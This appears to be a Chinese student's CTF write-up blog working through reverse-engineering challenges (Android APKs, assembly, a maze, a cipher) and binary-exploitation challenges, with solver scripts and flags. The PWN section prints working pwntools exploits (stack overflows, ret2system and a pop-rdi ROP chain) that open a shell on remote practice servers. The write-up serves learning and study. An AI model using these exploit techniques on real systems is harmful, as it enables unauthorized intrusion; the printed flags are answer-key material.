RE

droids0(pico2019):

这是一个安卓逆向的入门题(根本没有逆向,老样子在帮你部署环境),根据hint去安装了Android Studio

​ 资料:

https://blog.csdn.net/weixin_43734793/article/details/124966390

https://blog.csdn.net/andylao62/article/details/23456881

安装的一点点事情:

​ 1.电脑要有JDK5或之后的版本

​ 2.安装后的初始化出现网络问题,即无法访问插件网址,这里因为电脑有某lash,进行了手动的代理设置

image-20230728112025801

​ 正在疯狂解压↑

感觉和Jetbrain家风格好像(难道是一家的?)

怎么好多东西都是第一次使用要在线下载

现在就直接运行一遍

​ 根据提示了解到flag会在log中输出,直接运行就行:

image-20230728114115242

​ flag: picoCTF{a.moose.once.bit.my.sister}

​ 虽然不是很懂,特别是连java都不会,但是好歹环境没问题

正解到这里就结束了

现在记录一点折腾的过程

听说java中间会解释出某种叫做字节码的东西

image-20230728114819343

​ 假装看懂↑

​ 不管如何,我们凭借着c++(学姬算鸡)的底子,了解到怎么也得是先找到main函数入口:

image-20230728114942680

​ 然后虽然看不懂字节码,但是硬看…(主要是现在还没有去搞java逆向的工具…待会儿折腾…):

image-20230728115047864

​ 你发现了吗…再往下看,凭借我小学800词的英语底子我看到了这个:

image-20230728115206070

​ 看来是某个类方法,但是属实是不会看这字节码,也不了解java apk的变量结构(那就学):

image-20230728115525767

​ 经过学习某个叫做smail的东西,我们可以知道是调用了某个静态函数(不知道是全局函数还是静态成员方法—java有全局函数吗?),那么进一步分析语法去找参数吧

image-20230728120749186

​ 这东西为啥是空的…到此为止…字节码分析失败,以后还是得去看看java逆向,光有字节码不行

image-20230728120855903

​ 盲猜v0寄存器里存的就是flag的主体,跪求哪位椰叶如果知道这个做法有没有搞头,评论踢我一脚…

​ 到此为止吧,至少运行跑出来了…

Check_Your_Luck

很显然是求解线性方程组…但是我手头没有代码(线代老师饶了我吧QWQ)

我们使用正则(我太懒了):

1
2
3
4
patt:
\(v \* (-?[\d]+) \+ w \* (-?[\d]+) \+ x \* (-?[\d]+) \+ y \* (-?[\d]+) \+ z \* (-?[\d]+) \=\= (-?[\d]+)\)
替换为:
$1,$2,$3,$4,$5 $6\n
image-20230728130450039

处理后,丢入到在线计算线性方程组中(因为我没有写过求解线性方程组的代码—回头补上):

image-20230728130615285

image-20230728130824736

​ 现在直接组装起flag即可…或者运行一遍…

​ flag{4544_123_677_1754_777}注意要换成NSSCTF{4544_123_677_1754_777}

​ 正则真是个好东西啊,怎么各位做题都不用捏?(还是说椰叶们用了但WP里没写)

​ 结束…

help

​ 代码都一看就懂,会生成一个map地图,动调提取出来,然后肉眼写吧(路径是wasd四个方向也一眼就看出来了)

image-20230728175513441

​ 处理脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//BFS实现
#include <iostream>
#include <stdio.h>
#include <bitset>
using namespace std;
int main() {
unsigned int map2[] = {
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 0, 0, 0,
0, 0, 1, 1, 1, 1, 1, 1, 0, 1,
1, 1, 1, 0, 1, 1, 1, 0, 1, 1,
1, 1, 1, 1, 0, 1, 1, 1, 1, 0,
1, 1, 1, 0, 1, 1, 0, 0, 0, 1,
0, 1, 1, 1, 1, 0, 1, 1, 1, 0,
1, 1, 0, 1, 0, 1, 0, 1, 1, 1,
1, 0, 1, 1, 1, 0, 0, 0, 0, 1,
0, 1, 0, 1, 1, 1, 1, 0, 1, 1,
1, 1, 1, 1, 0, 1, 0, 1, 0, 1,
1, 1, 1, 0, 1, 1, 1, 1, 1, 1,
0, 0, 0, 1, 0, 1, 1, 1, 1, 0,
1, 1, 1, 1, 1, 1, 1, 0, 1, 1,
0, 1, 1, 1, 1, 0, 1, 1, 1, 1,
1, 1, 1, 0, 1, 1, 0, 1, 1, 1,
1, 0, 0, 0, 0, 1, 1, 0, 0, 0,
0, 1, 0, 0, 0, 1, 1, 1, 1, 1,
0, 1, 1, 1, 1, 0, 1, 1, 0, 1,
0, 1, 1, 1, 1, 1, 0, 1, 1, 1,
1, 0, 1, 1, 0, 1, 0, 1, 1, 0,
0, 0, 0, 1, 1, 1, 1, 0, 1, 1,
0, 1, 0, 0, 1, 0, 1, 1, 1, 1,
1, 1, 1, 0, 0, 0, 0, 1, 1, 1,
1, 0, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1
};
for (int i = 0; i < 256; ++i) {
cout << map2[i];
if ((i+1) % 16 == 0)
cout << endl;
}
return 0;
}

​ 然后就手动对着16x16的地图走一遍吧,懒得再整代码之类的了(太麻烦了吧)—更新:代码已整(见结尾部分↓)

​ 整理出来某段该死的路径(眼睛快瞎了):

​ wwdddwwwaaawwwwwwwwwddddssssdddssdsssssssdddwwwwddsssd

​ 在线md5出来:a8622109e2fb1296e06d5eed6f78f954

​ 记得外面是NSSCTF{} nnd试了半天才知道是这个格式才对,就不能说清楚

​ flag: NSSCTF{a8622109e2fb1296e06d5eed6f78f954}

更新:走迷宫代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89

#include <iostream>
#include <vector>
#include <queue>
#include <algorithm>

using namespace std;
int map[16][16] = {
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1,
1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1,
1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1,
1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1,
1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1,
1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1,
1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1,
1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1,
1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1,
1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1,
1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1,
1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1,
1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, -1,
1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1,
1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
};
struct R {
int x = 0, y = 0;
} pre[16][16];
bool flag = false;
int vis[16][16];
int dx[4] = {-1, 0, 1, 0}, dy[4] = {0, -1, 0, 1};
struct R destination;

void bfs(int x, int y) {
queue<struct R> q;
q.push({x, y});
pre[x][y] = {-1, -1};
vis[x][y] = 1;
while (!q.empty()) {
struct R now = q.front();
q.pop();
if (map[now.x][now.y] == -1) {
flag = true;
destination = now;
return;
}
for (int i = 0; i < 4; ++i) {
int x1 = now.x + dx[i];
int y1 = now.y + dy[i];
if (x1 >= 0 && x1 <= 15 && y1 >= 0 && y1 <= 15 && !vis[x1][y1] && map[x1][y1] != 1) {
vis[x1][y1] = 1;
q.push({x1, y1});
pre[x1][y1] = now;
}
}
}
}

void print_route() {
struct R now = destination;
vector<char> route;
while (!(pre[now.x][now.y].x == -1 && pre[now.x][now.y].y == -1)) {
int sub_x = now.x - pre[now.x][now.y].x;
int sub_y = now.y - pre[now.x][now.y].y;
if (sub_x < 0)
route.push_back('w');
if (sub_y < 0)
route.push_back('a');
if (sub_x > 0)
route.push_back('s');
if (sub_y > 0)
route.push_back('d');
now=pre[now.x][now.y];
}
reverse(route.begin(), route.end());
for (auto i: route)
cout << i;
cout << endl;
}

int main() {
bfs(15, 1);
if (!flag) {
cout << "NO!" << endl;
return 0;
}
print_route();
return 0;
}

​ 结束…

easyapp

​ 附件还挺花…没有zip后缀…

image-20230728182839055

​ 加上然后解压出来个apk…继续整吧,不会java是真的麻烦…

​ 又是smail…看来得学学这玩意…

第一部分—encoder类

​ 总之就是分析代码…首先发现main中对输入的字符串进行了encode方法的调用,也就是所我们先要去查看encoder类:

image-20230728200832325

​ 这里有个key的field(别问我这是什么…我没学过java…貌似是某种数据段)

image-20230728200946254

​ 而且赋初值为0x75bcd15,继续分析发现后续代码有一个逻辑上的映射变换

image-20230728201437225

​ 这里是一个循环↑分析:

​ 53行:循环边界,判断v1是否大于0,是的话跳出

​ 55行:将p1的第v2个字符赋值给v3

​ 58行:获取key(p0是Encoder类)给v4

​ 60行:v3和v4异或(xor)

​ 61行:字面意思

​ 65行:append到字符串(v0?)

​ 67行:v2自增,准备进行下一次循环

​ 也就是说这里的字符串对key进行了异或映射

第二部分—main继续分析

​ 为什么有两个MainActivity.smail…

image-20230728202551209

​ 所以这里对key进行了重新赋值…我实在看不懂这东西的运行顺序…看WP看的这么个意思…

​ 总之就是要把p2和这个key进行异或运算然后就能出flag,p2就是这个(这个一看就懂):

image-20230728202753479

​ 那么我们另外写脚本吧,就用python吧…

1
2
3
4
5
6
p2 = "\u68ff\u68e2\u68e2\u68f2\u68e5\u68f7\u68ca\u68d0\u68c1\u68da\u68e8\u68e8\u68f5\u68e2\u68cc"
key = 0x3ade68b1
for i in p2:
print(chr((ord(i) ^ key) & 0xff), end="", flush=True)
#因为extend ascii字符是0x0-0xFF 但是unicode肯定是越界的, 所以这里要和0xff进行与操作来把最后结果限制到0x0-0xff
#运行脚本得到flag

​ 这里因为对py不熟悉所以还是看了题解QWQ

​ NSSCTF{apkYYDS}

​ 结束…(相当于把大佬的WP抄了一遍…)

asm1

应该没有比我更闲的人了…这东西我还逆向出伪代码…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
asm1:
<+0>: push ebp ; 将ebp寄存器的值保存到栈上
<+1>: mov ebp,esp ; 将esp的值赋给ebp寄存器,建立新的栈帧
<+3>: cmp DWORD PTR [ebp+0x8],0x3a2 ; 比较ebp+0x8处的双字值与0x3a2
<+10>: jg 0x512 <asm1+37> ; 如果大于则跳转到地址0x512处继续执行
<+12>: cmp DWORD PTR [ebp+0x8],0x358 ; 否则,比较ebp+0x8处的双字值与0x358
<+19>: jne 0x50a <asm1+29> ; 如果不等于则跳转到地址0x50a处继续执行
<+21>: mov eax,DWORD PTR [ebp+0x8] ; 将ebp+0x8处的双字值赋给eax寄存器
<+24>: add eax,0x12 ; 将eax寄存器的值加上0x12
<+27>: jmp 0x529 <asm1+60> ; 跳转到地址0x529处继续执行
<+29>: mov eax,DWORD PTR [ebp+0x8] ; 将ebp+0x8处的双字值赋给eax寄存器
<+32>: sub eax,0x12 ; 将eax寄存器的值减去0x12
<+35>: jmp 0x529 <asm1+60> ; 跳转到地址0x529处继续执行
<+37>: cmp DWORD PTR [ebp+0x8],0x6fa ; 比较ebp+0x8处的双字值与0x6fa
<+44>: jne 0x523 <asm1+54> ; 如果不等于则跳转到地址0x523处继续执行
<+46>: mov eax,DWORD PTR [ebp+0x8] ; 将ebp+0x8处的双字值赋给eax寄存器
<+49>: sub eax,0x12 ; 将eax寄存器的值减去0x12
<+52>: jmp 0x529 <asm1+60> ; 跳转到地址0x529处继续执行
<+54>: mov eax,DWORD PTR [ebp+0x8] ; 将ebp+0x8处的双字值赋给eax寄存器
<+57>: add eax,0x12 ; 将eax寄存器的值加上0x12
<+60>: pop ebp ; 恢复栈帧,将栈顶指针赋给ebp寄存器
<+61>: ret ; 返回


接下来伪代码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
short &k = [ebp+0x8] //写了个引用代表这个内存了哈哈哈
if(k>0x3a2){
if(k!=0x6fa){
ax=k
ax+=0x12
return
}else{
ax=k
ax-=0x12
return
}
}else if(k!=0x358){
ax=k
ax-=0x12
return
}
else{
ax=p
ax+=0x12
return
}
//注意返回值就是eax

image-20230731233248628

貌似是动态flag,我这里是0x6fa,所以结果就是0x6fa-0x12==0x6e8

结束…

asm2

也是看代码,这个题就是一个循环:

image-20230731235735960

写解密代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <iostream>
#include <stdio.h>
using namespace std;
int main() {
int a=0x21;
int b=0x2;
while(b<=0xfb46){
a+=1;
b+=0x74;
}
printf("%#x",a);
return 0;
}

运行:

image-20230731235633534

结束…

asm3

这道题试试用c调用汇编函数,首先在win下编译失败…

ubuntu下编译环境的搭建

然后转到ubuntu,在编译时报了一个错:

image-20230801091451315

百度后了解到是在x86_64直接编译32位程序报错,需要安装multilib库:

image-20230801091609808

真就是配环境配了半天…又得更新包索引…

代码修改

image-20230801101549684 image-20230801101514580

运行结果

image-20230801101445107

有一说一,没懂明白全为0的寄存器如何运行sub指令,不知道是我看的不对还是咋的

代码就是多了几个AL,AH寄存器而已(但是我不会算…字节位置有点没弄明白)

x86平台(即32位平台)的EAX占32位(4字节),EAX的低16位是AX,AX的低8位是AL,AX的高8位是AH

但是算起来内存没弄明白…

暂时结束…

reverse_cipher

这题简单,直接拖IDA看,逆向分析逻辑就行,就是最后那个}字符不知道咋的IDA逆向出v11=v5…v5前面都没有初始化…不过不影响…手动putchar(str[23]);就行

直接在IDA逆向出的代码中加注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int __cdecl main(int argc, const char **argv, const char **envp) {
char ptr[23]; // [rsp+0h] [rbp-50h] BYREF //保存flag
char v5; // [rsp+17h] [rbp-39h] //?
int v6; // [rsp+2Ch] [rbp-24h] //标志位
FILE *v7; // [rsp+30h] [rbp-20h] //rev_this的文件指针
FILE *stream; // [rsp+38h] [rbp-18h] //flag的文件指针
int j; // [rsp+44h] [rbp-Ch]
int i; // [rsp+48h] [rbp-8h]
char v11; // [rsp+4Fh] [rbp-1h]

stream = fopen("flag.txt", "r");
v7 = fopen("rev_this", "a");

if ( !stream )
puts("No flag found, please make sure this is run on the server");
if ( !v7 )
puts("please run this on the server");

v6 = fread(ptr, 0x18uLL, 1uLL, stream); //v6用于检查是否成功读取,flag长度为0x18==24
//flag保存到ptr数组中
//最后一位ptr[23]没有使用? '}'?(一开始以为是'\0')
if ( v6 <= 0 )
exit(0);

for ( i = 0; i <= 7; ++i ) {//读取前8个
v11 = ptr[i];
fputc(v11, v7);//向v7(即rev_this文件)原封不动的写入前8位flag字符
}
for ( j = 8; j <= 22; ++j ) { //读取第9-23个flag字符
v11 = ptr[j];

//转换算法
if ( (j & 1) != 0 ) //如果j为奇数---j==8时是偶数
v11 -= 2;
else
v11 += 5;

fputc(v11, v7);//处理后写入
}
v11 = v5;//这里IDA分析的有点问题,问题不大
fputc(v5, v7);
fclose(v7);
return fclose(stream);
}

写解密脚本(c/c++代码叫脚本?):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
int main() {
char str[100];
FILE* rev_this = fopen("rev_this", "r");
fread(str, 0x18uLL, 1uLL, rev_this);
for (int i = 0; i < 8; ++i) {
putchar(str[i]);
}
for(int i=8;i<23;++i){
if(i&1!=0)
putchar(str[i]+2);
else
putchar(str[i]-5);
}
putchar(str[23]);//单独处理一下那个v5(其实提交的时候加个}就行,
//但是这里因为不知道flag长啥样所以还是打印一下看看...万一是什么'\0'呢,doge)
return 0;
}

运行结果:

image-20230801104929793

结束…

PWN

ciscn_2019_n_8

先看看是啥文件—32位的,用IDA32打开

image-20230802131013964

尝试IDA动态调试,莫名其妙不能动弹?难道是开了保护?(开保护是不能调试吗?)

额,nb…火力全开…

image-20230802133400255

还是静态分析吧…

image-20230802133651202

这里其实最没弄明白的其实是那个LL,不确定val作为数组每个元素应该填充多长…但是这题是<二进制>赛项…

所以理论上这里应该是重点要关注的地方…

那么尽管IDA反编译出来的伪代码有点玄学…但是发现有一个重要的指针类型转换的步骤:

1
if ( *(_QWORD *)&var[13] == 17LL )

QWORD这个东西是4字节…众所周知,一个字是2字节,那么QWORD是4个字,也就是8字节…对上了,就是LL(long long)

那么就往进塞数据呗(这里我仍然想吐槽python的类型转换)

用python写exp:

1
2
3
4
5
6
7
from pwn import *

p = remote('node4.buuoj.cn', 29245)
payload = b'a' * 13 * 4 + p64(17)
p.sendline(payload)
p.interactive()

运行结果(第二次的截图,省略了ls了…doge)image-20230802140330345

结束…

mrctf2020_easyoverflow

这题就是个字符串溢出

image-20230802154650856

首先main中v5被赋值为一个字符串,我叫他fake_flag0,然后有一个对v4的gets()

再看下面判断调用了check,并传递了v5这个字符数组

image-20230802154817689

参数和另一个字符串比较,去看看:

image-20230802154845478

把这个字符串复制出来,我叫他fake_flag1

然后发现 main中v4有0x30个字节(48个)—(-0x40)-(-0x70)==0x30

image-20230802155008720

所以把这段内存覆盖了就行,exp如下:

image-20230802155044396

运行结果:

image-20230802155058403

结束…

jarvisoj_level2

这道题最大的收获就是把x86的堆栈看了一遍,还有脑内调试

有关X86 32位汇编利用堆栈传递函数参数的过程:

https://blog.csdn.net/weixin_62320071/article/details/129475981

https://cloud.tencent.com/developer/article/2123636

https://zhuanlan.zhihu.com/p/290689333?ivk_sa=1024320u&utm_id=0

img

题解:

这道题是典型的栈溢出,IDA反编译后的代码非常简单,有system函数的地址,而且我们可以通过字符串查找找到存在/bin/bash这个字符串(可获取地址)

那么我们就直接让vulnerable_function返回的时候跳转到system函数去getshell就可以

具体是由于read可输入的长度大于缓冲区的长度,所以存在溢出,那么只需要合理构造payload即可进行getshell

(但是我做这题很吃力,x86汇编属实不会,主要是对函数栈帧掌握不清楚)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

debug = True
hacker = None

hacker = remote('node4.buuoj.cn', 25439)

padding = 0x88
system_func_addr = 0x8048320
bin_sh_str_addr = 0x0804a024
# 首先先将该字符串数组填满,再输入一个地址,该地址将会作为新的栈底地址 ebp
# 再接着写入 函数调用返回的地址(即该值将来会pop 到 eip 中),即执行我们的system函数,为了把 字符串 /bin/sh 地址传入,我们还要往栈中随意插入一个将来的返回地址,再插入/bin/sh 地址
payload = padding * b'a' + p32(0xffffe000) + p32(system_func_addr) + p32(0xffffe000) + p32(bin_sh_str_addr)

hacker.sendlineafter(b'Input:\n', payload)
hacker.interactive()

image-20230802191847698

勉强结束…

jarvisoj_level2_x64

这道题学习到的知识点

参阅:

https://zhuanlan.zhihu.com/p/502718676

https://stackoverflow.com/questions/23367624/intel-64-rsi-and-rdi-registers

https://www.cnblogs.com/nemuzuki/p/17218722.html

x86_ 64函数传参使用到的寄存器

image-20230803114038935

​ 重点是rdi,rsi,rdx,rcx这几个

分析题目

1.参数问题

​ 这道题也是栈溢出,不过是x86_64的程序,所以我们重点注意的应该是去考虑x86_64和x86的堆栈(或者说函数调用时)有什么区别,而且重点要关注函数传参有什么不同

​ 经过学习,了解到在x86中,各个参数依次从右向左入栈(CDECL?),然后再压栈eip和ebp;

​ 而在x86_64中,如果子函数的参数数量<=6个,那么就会使用到6个特殊的寄存器,也就是上面的rdi,rsi,rdx,rcx,r8,r9这6个寄存器.然后如果还有参数,则像32位一样压栈.

​ 那么也就是说,64位程序调用函数时,会先把参数从寄存器中pop出来,也就是pop rdi; ret指令

​ 对应到本题中调用system()函数只需要传递一个字符串,也就是system执行的命令,所以只需要多考虑一个rdi(第一个入参对应的寄存器)的问题

2.题目分析

​ 分析好关键后,接下来开始审题

​ 这次做题思路比较清晰,而且看了看雪上的某篇IDA使用教程,这回在IDAview视图中认真分析了一下汇编,后面记录一下(虽然和这道题的题解关系不大,但是有助于理解x86_64函数传参)

image-20230803115419472

​ 题目和x86版本的基本一致,仍然是标准的栈溢出:buf数组长度为0x80,然而read()可以输入0x200,满足溢出

​ 同样,去找system()的地址和/bin/bash的地址

​ shift+F12打开字符串,可以看到存在/bin/bash—0x600A90

image-20230803115829908

​ 发现有_system函数(注意不是extern的那个system)—0x4004C0

image-20230803115952419

​ 接下来就是区别,需要找到pop rdi; ret指令的地址,以便调用

​ 这里需要使用到Linux下的ROPgadget工具查找(第一次用这个,看了一下使用方法)

​ 找到地址为0x4006b3image-20230803121412077

3.payload

​ 覆盖模板: [函数局部变量(buf数组)]+[rbp]+[pop rdi; ret指令的地址]+[’/bin/bash’的地址]+[system()函数的地址(实际上是那个_system())]

​ python代码:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = remote('node4.buuoj.cn', 27828)

system_addr = 0x4004C0
bin_sh_addr = 0x600A90
pop_ret_addr = 0x4006b3
payload = b'a' * (0x80) + b'a' * (0x8) + p64(pop_ret_addr) + p64(bin_sh_addr) + p64(system_addr)

p.sendline(payload)
p.interactive()

​ 运行结果:

image-20230803122534132

​ 题解到此结束…

题目IDAview分析记录

main()汇编分析

image-20230803122808494

main中有两个变量var_10和var_4

首先是调用main时,开头的push rbp;mov rbp,rsp指令创建函数栈帧,然后sub rsp,10h给局部变量(形参?)分配空间(10h应该是16字节给两个变量,一个int argc和一个char *argv[]的数组—数组形参实际上是一个指针,所以也是8字节)

然后接下来的两个mov就能看出来x86_64的传参了,第一个是edi,第二个是rsi,逐个从寄存器中复制到内存

然后eax置0

此时该调用函数了,因为vulnerable_function没有形参,所以没有对edi这些寄存器进行处理,直接调用

vulnerable_function()汇编分析

image-20230803123501210

同样在开头push rbp;mov rbp,rsp创建函数栈帧

接下来是对rsp进行add,但是这里我不理解为什么是add而不是sub(),总之就是对buf数组进行处理分配

下一行就是为_system函数的调用做准备,处理实参:

​ mov edi, offset command ; "echo Input:"中,offset表示获取一个标号,command标号代表的内存中存有这个字符串,将其赋值给edi用于_system的第一个参数(只有这一个参数)

然后调用_system()

返回来后,继续为_read()的调用做准备:

​ 先放上来_read()的描述(注意参数的位置):

其实这个函数就是unistd.h(UNIX std)中声明的read()函数,用于文件读写

​ 第一个参数是文件描述符(0代表标准输入stdin,1代表标准输出stdout,2表示标准错误输出stderr)

​ 第二个参数是输入的目标缓冲区

​ 第三个参数是指定要读取的最大字节数

ssize_t read(int fd, void *buf, size_t nbytes)

​ lea指令全称是 “Load Effective Address”,意为加载有效地址,就是将指定的内存地址计算出来并存放在目标寄存器中.这里这条指令将 rbp+buf 地址的计算结果保存在 rax 中,准备赋值给rsi

​ 将200h赋值给edx作为第3个参数(nbytes)

​ 将刚刚计算出来的eax赋值给rsi作为第二个参数(buf)

​ 将0h赋值给edi作为第一个参数(fd)

然后调用_read(),这道题的切入点就是这里

后面的部分没看…留作以后…

结束…

ciscn_2019_ne_5

这道题就是绕了一下,利用strcat()进行了栈溢出,同时不同的步骤需要从不同的函数进行处理利用,要进行顺序分析

分析如下:

代码首先需要输入正确的密码,然后下面是一个switch的循环(注意反编译显示循环使用一个跳转函数实现)

Addlog中允许输入0x80(128)长度的src

image-20230805200612721

print中有_system()函数可以利用

image-20230805200628207

getflag中有strcpy,同时局部变量(反编译问题)共有0x48,0x80>0x48,满足溢出

image-20230805200700665

ROPgadget工具查找’sh’字符串的地址(此题没有/bin/sh)

image-20230805200722034

先走1选项,输入足够长的字符串准备溢出,然后走4选项进行strcpy溢出,跳转至system()即可

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

p = remote('node4.buuoj.cn', 27895)

system_addr = 0x080484D0
sh_addr = 0x080482ea
# pop_ret_addr = 0x4006b3 #64位用到
payload = b'a' * (0x48 + 4) + p32(system_addr) + b'a' * 4 + p32(sh_addr)

p.sendlineafter('password', 'administrator')
p.sendline('1')
p.sendlineafter('info:', payload)
p.sendline('4')

p.interactive()

运行结果:

image-20230805200041706

这题看了半天需要填充多少字节,唉,看错了

结束…